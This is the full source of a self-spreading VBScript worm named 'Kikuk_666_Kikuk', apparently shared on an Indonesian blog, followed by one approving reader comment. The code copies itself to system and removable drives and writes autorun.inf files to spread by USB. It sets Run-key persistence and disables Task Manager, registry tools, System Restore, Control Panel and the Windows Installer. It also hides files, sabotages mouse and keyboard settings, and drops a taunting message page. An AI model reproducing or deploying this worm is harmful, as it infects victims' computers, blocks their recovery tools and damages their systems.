on error resume next
dim mulaivirus,rumahgue,caridrive,kikuk,Obellix,SmurfBorneo,FlameBoy,ParayCity,PasukanKuning,check,sibungul
SmurfBorneo = "[autorun]" & vbcrlf & "shellexecute=wscript.exe Kikuk_666_Kikuk.vbs" 'Bikin Autorun Flashdisk
set kikuk = createobject("Scripting.FileSystemObject")
set Obellix = kikuk.getfile(Wscript.ScriptFullname)
dim text,size
size = Obellix.size
check = Obellix.drive.drivetype
set text = Obellix.openastextstream(1,-2)
do while not text.atendofstream
mulaivirus = mulaivirus & text.readline
mulaivirus = mulaivirus & vbcrlf
loop
do
Set rumahgue = kikuk.getspecialfolder(0)
set FlameBoy = kikuk.getfile(rumahgue & "\Kikuk_666_Kikuk.vbs") 'bikin file induk virus di system
FlameBoy.attributes = 39
set FlameBoy=kikuk.createtextfile(rumahgue & "\Kikuk_666_Kikuk.vbs",2,true)
FlameBoy.write mulaivirus
FlameBoy.close
set FlameBoy = kikuk.getfile(rumahgue & "\Kikuk_666_Kikuk.vbs")
FlameBoy.attributes = 39
for each caridrive in kikuk.drives
If (caridrive.drivetype = 1 or caridrive.drivetype = 2) and caridrive.path <> "A:" then
set FlameBoy=kikuk.getfile(caridrive.path &"\Kikuk_666_Kikuk.vbs")
FlameBoy.attributes =39
set FlameBoy=kikuk.createtextfile(caridrive.path &"\Kikuk_666_Kikuk.vbs",2,true)
FlameBoy.write mulaivirus
FlameBoy.close
set FlameBoy=kikuk.getfile(caridrive.path &"\Kikuk_666_Kikuk.vbs") 'copy virus ke flash disk
FlameBoy.attributes = 39
set FlameBoy =kikuk.getfile(caridrive.path &"\autorun.inf") 'copykan file Autorun ke Flash Disk
FlameBoy.attributes = 39
set FlameBoy=kikuk.createtextfile(caridrive.path &"\autorun.inf",2,true)
FlameBoy.write SmurfBorneo
FlameBoy.close
set FlameBoy = kikuk.getfile(caridrive.path &"\autorun.inf")
FlameBoy.attributes=39
end if
next
Set fso = CreateObject("Scripting.FileSystemObject")
set payload = fso.createtextfile(rumahgue.path & "\Kikuk_666_Kikuk_Massage.htm",true)
payload.writeline "<HTML><HEAD><TITLE>.: Virus 666 Message :.</TITLE></HEAD><BODY bgcolor=red><CENTER><H1><Font face=castellar color=black size=18><MARQUEE>=== ( Kikuk 666 Kikuk ) ===</MARQUEE>"
payload.writeline "</Font></H3></H3><H3><Font face=arial color=white size=4>--- Hentikanlah Kebodohan kalian ---<br><br>1. Rock Never Die"
payload.writeline "<br><br>2. Love Sexs Never Die<br>( Go To Hell )<br><br>3. Alcohol The Atmosfir<br>( Jangan cuma jadi penonton )<br>"
payload.writeline "<br>4. I Love Your Body Sexy<br>( Mata Keranjang )<br><br>5. Katakan Aku Anak Lusifer<br>"
payload.writeline "<br><br>Terinspirasi Oleh : <br>Kegagalan cinta ku, aku kecewa, dasar tai semua<br>"
payload.writeline "<br><H3><Font face=Verdana color=blue size=3><Font face=castellar color=black size=5><MARQUEE>[ By: Destroyer 666 Antikris ]</MARQUEE><br></Font><br><font color=Yellow size=2>!!! Nyebur az lo ke laut jadi makanan hiu. makan tu cinta, rasain kekecewaan ku pada cinta !!!</font></H2></font></h3><h4></h4></CENTER></BODY></HTML><BODY>"
payload.writeline "<bgsound src=C:\WINDOWS\Media\flourish.mid>"
payload.close
CreateObject("Wscript.shell").run "explorer.exe /e,/select, "
set ParayCity = createobject("WScript.Shell")
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Your Computer Has been Infected By Virus : Paray Rontox"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\International\s1159","Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\International\s2359","Kikuk_Kikuk_666"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics\Shell Icon Size","128"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics\MinWidth","-100"
ParayCity.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
ParayCity.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
ParayCity.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
ParayCity.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel", "1", "REG_DWORD"
ParayCity.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
ParayCity.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Mouse\MouseSensitivity", "2"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Mouse\DoubleClickHeight", "6000"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Mouse\DoubleClickSpeed", "6000"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Mouse\DoubleClickWidth", "6000"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Keyboard\KeyboardDelay", "0"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Keyboard\KeyboardSpeed", "36"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCDBurning", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableConfig", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableSR", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\LimitSystemRestoreCheckpointing", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\DisableMSI", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Paray@Hacker", rumahgue & "\Kikuk_666_Kikuk.vbs"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ParayRontox", rumahgue & "\Kikuk_666_Kikuk.vbs"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", "2", "REG_DWORD"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden", "0", "REG_DWORD"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", "0", "REG_DWORD"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Text", "bangsat kljsdouiyhifeledfdsl"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Type", "sfgdhtgtygvhgf"
ParayCity.regwrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\", "Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\IntroText","Maaf komputer anda sudah terinfeksi virus Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InfoTip","Maaf komputer anda sudah terinfeksi virus Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\", "Jaringan Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\", "Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\", "Dokument Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\", "Tonk Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\HelloParay", rumahgue & "\Kikuk_666_Kikuk_Massage.htm"
if check <> 1 then
Wscript.sleep 300000
end if
loop while check <> 1
set sibungul = createobject("Wscript.shell")
sibungul.run rumahgue & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
1 komentar:
mantap bro....
Posting Komentar
Komentarnya dulu om!!!